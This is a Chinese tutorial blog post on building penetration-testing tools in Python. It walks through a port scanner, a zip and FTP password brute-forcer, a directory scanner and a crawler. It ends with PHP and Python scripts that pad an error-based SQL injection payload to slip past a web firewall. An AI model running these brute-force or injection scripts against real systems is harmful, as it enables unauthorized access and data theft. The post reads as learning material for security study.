zoukankan      html  css  js  c++  java
  • 自己动手python打造渗透工具集

    难易程度:★★★
    阅读点:python;web安全;
    文章作者:xiaoye
    文章来源:i春秋
    关键字:网络渗透技术


    前言
    python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在渗透测试中的应用,让我们自己动手打造自己的渗透工具集。

    一、信息搜集--py端口扫描小脚本
    端口扫描是渗透测试中常用的技术手段,发现敏感端口,尝试弱口令或者默认口令爆破也是常用的手段,之前自学python时候百度着写了个小脚本。
    端口扫描小脚本:

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    #coding: utf-8
    import socket
    import time
      
    def scan(ip, port):
        try:
            socket.setdefaulttimeout(3)
            s = socket.socket()
            s.connect((ip, port))
            return True
        except:
            return
      
    def scanport():
        print '作者:xiaoye'.decode('utf-8').encode('gbk')
        print '--------------'
        print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
        print '--------------'
        ym = raw_input('请输入域名(只对未使用cdn的网站有效):'.decode('utf-8').encode('gbk'))
        ips = socket.gethostbyname(ym)
        print 'ip: %s' % ips
        portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]
        starttime = time.time()
        for port in portlist:
              
            res = scan(ips, port)
            if res :
                print 'this port:%s is on' % port
        endtime = time.time()
        print '本次扫描用了:%s秒'.decode('utf-8').encode('gbk') % (endtime-starttime)
      
      
    if __name__ == '__main__':
        scanport()


    对于端口扫描技术,其实分很多种,通常是利用tcp协议的三次握手过程(从网上偷张图。。)
                                                                

          
    放出的那个脚本,是利用了tcp connect() 即完成了tcp三次握手全连接,根据握手情况判断端口是否开放,这种方式比较准确,但是会在服务器留下大量连接痕迹。
    当然,如果不想留下大量痕迹,我们可以在第三次握手过程,将ack确认号变成rst(释放连接),连接没有建立,自然不会有痕迹,但是这种方法需要root权限        
    好了,先讲解一下我们的py端口扫描小脚本:
    核心代码:

    [Python] 纯文本查看 复制代码
    1
    2
    3
    4
    5
    6
    portlist = [80,8080,3128,8081,9080,1080,21,23,443,69,22,25,110,7001,9090,3389,1521,1158,2100,1433]
    for port in portlist:
              
            res = scan(ips, port)
            if res :
                print 'this port:%s is on' % port

       
    这段代码是定义了要扫描的端口,并且用for ..in .. 来进行遍历

    [Python] 纯文本查看 复制代码
    1
    2
    3
    socket.setdefaulttimeout(3)
            s = socket.socket()
            s.connect((ip, port))

            
    这段代码,是利用了socket套接字,建立tcp连接,socket.socket()就是
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM),用于tcp连接建立

    二、实用爆破小脚本--压缩文件密码爆破&&ftp爆破
    对于压缩文件,py有自己的处理模块zipfile
    ,关于zipfile的实例用法,在violent python里有实例脚本,模仿书里写了个小脚本

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    #coding: utf-8
    '''
    z = zipfile.ZipFile('') , extractall
    z.extractall(pwd)
    '''
    import zipfile
    import threading
     
    def zipbp(zfile, pwd):
            try:
                    zfile.extractall(pwd=pwd)
                    print 'password found : %s' % pwd
            except:
                    return
    def main():
            zfile = zipfile.ZipFile('xx.zip')
            pwdall = open('dict.txt')
            for pwda in pwdall.readlines():
                    pwd = pwda.strip(' ')
                    t = threading.Thread(target=zipbp, args=(zfile, pwd))
                    t.start()
                    #t.join()
    if __name__ == '__main__':
            main()


    其实脚本很简单,核心就一个地方:

    [Python] 纯文本查看 复制代码
    1
    2
    3
    zfile = zipfile.ZipFile('xx.zip')
    ..............
    zfile.extractall(pwd=pwd)


    ZipFile是zipfile模块重要的一个类,zfile就是类的实例,而extractall(pwd)就是类里的方法,用于处理带有密码的压缩文件;当pwd正确时,压缩文件就打开成功。而此脚本就是利用了zipfile模块的类和方法,加载字典不断尝试pwd,直至返回正确的密码,爆破成功
    python在爆破方面也很有优势,比如ftp,py也有ftplib模块来处理,一次ftp连接过程如下:

    [Python] 纯文本查看 复制代码
    1
    2
    3
    4
    5
    ftp = ftplib.FTP()
                    ftp.connect(host, 21, 9)
                    ftp.login(user, pwd)
                    ftp.retrlines('LIST')
                    ftp.quit()



    connect(ip, port, timeout)用于建立ftp连接;login(user,pwd)用于登陆ftp;retrlines()用于控制在服务器执行命令的结果的传输模式;quit()方法用于关闭ftp连接

    是不是觉得和zipfile的套路很像?没错,你会写一个,就会写另外一个,就会写许许多多的爆破脚本,脚本我就不放出来了,大家自己动手去写一写(p.s:关于ftp爆破,在加载字典之前,请先尝试空密码,即ftp.login(),万一成功了呢。。)

    三、目录探测--py低配版御剑
    昨天写了个小脚本,用来探测目录,实现和御剑一样的效果,脚本是写好了,开了多线程,但是还算很慢。。之后我会再次修改:

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    #coding: utf-8
    import sys
    import requests
    import threading
     
    def savetxt(url):
            with open('domain.txt', 'a') as f:
                    url = url + ' '
                    f.write(url)
     
    def geturl(url):
            r = requests.get(url, timeout=1)
            status_code = r.status_code
            if status_code == 200:
                    print url + ' 200 ok'
                    savetxt(url)
            #print url
            #print status_code
             
    syslen = len(sys.argv)
    #print syslen
    #res=[]
    url = raw_input('请输入要扫描目录的网站 '.decode('utf-8').encode('gbk'))
    for i in range(1,syslen):
            with open(sys.argv[i], 'r') as f:
                    for fi in f.readlines():
                            fi = fi.strip(' ')
                            #print fi
                            fi = url + '/' + fi
                            #print fi
                            t = threading.Thread(target=geturl, args=(fi,))
                            t.start()
                            t.join()
    #res = ''.join(res)
    #print res


                                                                                   
    能run起来,速度较慢。。
    说一下主要思想吧,之后我改完再细讲。。:
    加载1个或者多个字典,将字典中的内容与输入的url进行拼接得到完整url;
    关于加载多个字典,代码实现如下:

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    syslen = len(sys.argv)
    #print syslen
    #res=[]
    url = raw_input('请输入要扫描目录的网站 '.decode('utf-8').encode('gbk'))
    for i in range(1,syslen):
            with open(sys.argv[i], 'r') as f:
                    for fi in f.readlines():
                            fi = fi.strip(' ')
                            #print fi
                            fi = url + '/' + fi


    利用sys.argv,我们输入python yujian.py dir.txt就加载dir.txt,输入dir.txt php.txt ,因为有for i in range(1,syslen):,syslen=3,range(1,3)返回[1,2];
    with open(sys.argv, 'r') as f:它就会自动加载输入的两个txt文件(sys.argv[1]、sys.argv[2]);也就是说,我们输入几个文件,它就加载几个文件作为字典
    当我们遇到php站点时,完全可以把御剑的字典拿过来,只加载php.txt dir.txt,这点和御剑是一样的:
                                                                                           


    通过python的requests.get(url)的状态返回码status_code来对是否存在该url进行判断;
    如果返回200就将该url打印出来,并且存进txt文本里
    目前是这么个想法。。
    -----------------------------------------------------------------------
    更新:多线程加队列目录探测脚本 : https://github.com/xiaoyecent/scan_dir

    有关于更多小脚本, 可以访问 https://github.com/xiaoyecent 目前添加了百度url采集、代理ip采集验证、爬虫、简单探测网段存活主机等小脚本,新手单纯交流学习,大牛勿喷


    四、爬虫爬取整站连接
    这个爬虫是慕课网上的蚂蚁老师讲的,感觉做的非常好,就改了一下,本来是用来爬取百度百科python1000条词条的(现在还是能爬的,要是之后目标更新了,就得制订新的爬虫策略了,大的框架不需要变),改成了爬取网站整站连接,扩展性还是很好的。
    爬虫的基本构成,抓一张蚂蚁老师的图:
                                                                                  


    1.调度器:调度器用来对各个部分进行调度,如将url取出,送给下载器下载,将下载是页面送给解析器解析,解析出新的url及想要的数据等
    2.url管理器:url管理器要维护两个set()(为啥用set(),因为set()自带去重功能),一个标识已抓取的url,一个标识待抓取的url,同时,url管理器还要有将解析器解析出来的新url放到待抓取的url里的方法等
    3.下载器:实现最简单,抓取静态页面只需要r = requests.get,然后r.content,页面内容就存进内存了,当然,你存进数据库里也是可以的;但是同时也是扩展时的重点,比如某些页面需要登陆才能访问,这时候就得post传输账号密码或者加上已经登陆产生的cookie
    4.解析器:BeautifulSoup或者正则或者采用binghe牛的pyquery来解析下载器下载来的页面数据
    5.输出器:主要功能输出想得到的数据
    调度器:
    spider_main.py

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    #!/usr/bin/env python2
    # -*- coding: UTF-8 -*-
     
    from spider import url_manager, html_downloader, html_outputer, html_parser
     
     
    class SpiderMain(object):
     
        def __init__(self):
            self.urls = url_manager.UrlManager()
            self.downloader = html_downloader.HtmlDownloader()
            self.parser = html_parser.HtmlParser()
            self.outputer = html_outputer.HtmlOutputer()
     
     
     
        def craw(self, root_url):
             
            self.urls.add_new_url(root_url)
            while self.urls.has_new_url():
                try :
                    new_url = self.urls.get_new_url()
                    print 'craw : %s' % new_url
                    html_cont = self.downloader.download(new_url)
                    new_urls, new_data = self.parser.parse(new_url, html_cont)
                    self.urls.add_new_urls(new_urls)
                    self.outputer.collect_data(new_data)
     
                except:
                    print 'craw failed'
     
            self.outputer.output_html()
     
    if __name__ == "__main__":
        root_url = "自己想爬的网站,我爬了下爱编程,效果还行"
        obj_spider = SpiderMain()
        obj_spider.craw(root_url)


    其中__init__是初始化,url_manager, html_downloader, html_outputer, html_parser是自己写的模块,各个模块里有各自的类和方法,通过初始化得到相应类的实例;
    craw是调度器对各个模块的调度:

    [Python] 纯文本查看 复制代码
    1
    2
    3
    4
    5
    6
    new_url = self.urls.get_new_url()
                    print 'craw : %s' % new_url
                    html_cont = self.downloader.download(new_url)
                    new_urls, new_data = self.parser.parse(new_url, html_cont)
                    self.urls.add_new_urls(new_urls)
                    self.outputer.collect_data(new_data)


    分别对应着:
    1.从待爬取url列表中取出一个url
    2.将改url送往下载器下载,返回页面内容
    3.将页面送往解析器解析,解析出新的url列表和想要的数据
    4.调度url管理器,将新的url添加进带爬取的url列表
    5.调度输出器输出数据

    url管理器:
    url_manager.py:

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    #!/usr/bin/env python2
    # -*- coding: UTF-8 -*-
    class UrlManager(object):
        def __init__(self):
            self.new_urls = set()
            self.old_urls = set()
     
        def add_new_url(self, url):
            if url is None:
                return
            if url not in self.new_urls and url not in self.old_urls:
                self.new_urls.add(url)
     
        def add_new_urls(self, urls):
            if urls is None or len(urls) == 0:
                return
            for url in urls:
                self.add_new_url(url)
     
        def has_new_url(self):
            return len(self.new_urls) != 0
     
     
        def get_new_url(self):
            new_url = self.new_urls.pop()
            self.old_urls.add(new_url)
            return new_url


    url_manager模块里的类,及类的方法

    下载器:
    html_downloader.py
    本来蚂蚁老师用的urllib,我给改了,改成requests:

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    #!/usr/bin/env python2
    # -*- coding: UTF-8 -*-
    import urllib2
    import requests
     
     
    class HtmlDownloader(object):
     
        def download(self, url):
            if url is None:
                return None
            r = requests.get(url,timeout=3)
            if r.status_code != 200:
                return None
            return r.content



    html解析器:
    html_parser.py
    把抓取策略给改了,现在是解析所有链接,即a标签href的值

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    #!/usr/bin/env python2
    # -*- coding: UTF-8 -*-
    import re
    import urlparse
     
    from bs4 import BeautifulSoup
     
     
    class HtmlParser(object):
     
        def parse(self, page_url, html_cont):
            if page_url is None or html_cont is None:
                return
     
            soup = BeautifulSoup(html_cont, 'html.parser', from_encoding='utf-8')
            new_urls = self._get_new_urls(page_url, soup)
            new_data = self._get_new_data(page_url, soup)
            return new_urls, new_data
     
        def _get_new_urls(self, page_url, soup):
            new_urls = set()
            links = soup.find_all('a')
            for link in links:
                new_url = link['href']
                new_full_url = urlparse.urljoin(page_url, new_url)
                new_urls.add(new_full_url)
            return new_urls
     
     
        def _get_new_data(self, page_url, soup):
            res_data = {}
     
            # url
     
            return res_data



    html_outputer.py
    这个看情况,可要可不要,反正已经能打印出来了:

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    #!/usr/bin/env python2
    # -*- coding: UTF-8 -*-
    class HtmlOutputer(object):
     
        def __init__(self):
            self.datas = []
     
     
        def collect_data(self, data):
            if data is None:
                return
            self.datas.append(data)
     
        def output_html(self):
            fout = open('output.html', 'w')
            fout.write("<html>")
            fout.write("<body>")
            fout.write("<table>")
     
            for data in self.datas:
                fout.write("<tr>")
                fout.write("<td>%s</td>" % data['url'])
                #fout.write("<td>%s</td>" % data['title'].encode('utf-8'))
                #fout.write("<td>%s</td>" % data['summary'].encode('utf-8'))
                fout.write("</tr>")
            fout.write("</table>")
            fout.write("</body>")
            fout.write("</html>")
            fout.close()


    运行效果:
                                                                                        


    这款爬虫可扩展性挺好,之后大家可以扩展爬取自己想要的内容

    当然要是只需要爬取某个页面的某些内容,完全不必要这么麻烦,一个小脚本就好了:
    比如我要爬取某二级域名接口中的二级域名结果:

    [Python] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #coding: utf-8
      
    import urllib, re
      
    def getall(url):
        page = urllib.urlopen(url).read()
        return page
      
    def ressubd(all):
        a = re.compile(r'value="(.*?.com|.*?.cn|.*?.com.cn|.*?.org| )"><input')
        subdomains = re.findall(a, all)
        return (subdomains)
      
    if __name__ == '__main__':
        print '作者:深夜'.decode('utf-8').encode('gbk')
        print '--------------'
        print 'blog: [url]http://blog.163.com/sy_butian/blog'[/url]
        print '--------------'
        url = 'http://i.links.cn/subdomain/' + raw_input('请输入主域名:'.decode('utf-8').encode('gbk')) + '.html'
        all = getall(url)
        subd = ressubd(all)
        sub = ''.join(subd)
        s = sub.replace('http://', ' ')
        print s
        with open('url.txt', 'w') as f:
            f.writelines(s)


    小脚本用正则就好了,写的快

    五、python在exp中的应用
    之前海盗表哥写过过狗的一个php fuzz脚本
    http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=16134
    表哥写的php版本的:

    [PHP] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php $i=10000;
    $i++;
      
    echo "$i ";
      
    $payload = 'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='.str_repeat('3',$i); $ret = doPost($url,$payload);
      
    if(!strpos($ret,'网站防火墙')){
      
    echo "done! ".strlen($payload)." ".$ret; die();
    }
      
    }
      
      
    function doPost($url,$data=''){ $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);
      
    curl_close ($ch); return $return;
    }


    我在本地搭了个环境,然后用python也写了下,还是挺好写的:

    [AppleScript] 纯文本查看 复制代码
    01
    02
    03
    04
    05
    06
    07
    08
    09
    10
    11
    12
    13
    14
    15
    16
    17
    #coding: utf-8
    import requests, os
    #i = 9990;
    url = 'http://localhost:8090/sqlin.php'
     
    def dopost(url, data=''):
            r = requests.post(url, data)
            return r.content
     
    for i in range(9990, 10000):
            payload = {'id':'1 and 1=' + i * '3' + ' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))'}
            #print payload
            ret = dopost(url, payload)
            ret = ''.join(ret)
            if ret.find('网站防火墙') == -1:
                    print "done " + " " + ret
                    exit(0)



    六、总结
          
    学生党还是很苦逼的,1.15号才考完试,不说了,写文章写了俩小时。。我去复习了,各位表哥有意见或者建议尽管提,文章哪里不对的话会改的

  • 相关阅读:
    Unity3d资源管理分析
    Unity3D之MonoBehaviour的可重写函数整理
    Unity3D脚本学习——运行时类
    A*寻路初探(转载)
    360sdk网游支付服务
    总结使用Unity 3D优化游戏运行性能的经验
    Unity3D之Lightmap详解
    「luogu2714」四元组统计
    「BZOJ1066」[SCOI2007]蜥蜴
    「luogu1251」餐巾计划问题
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7245164.html
Copyright © 2011-2022 走看看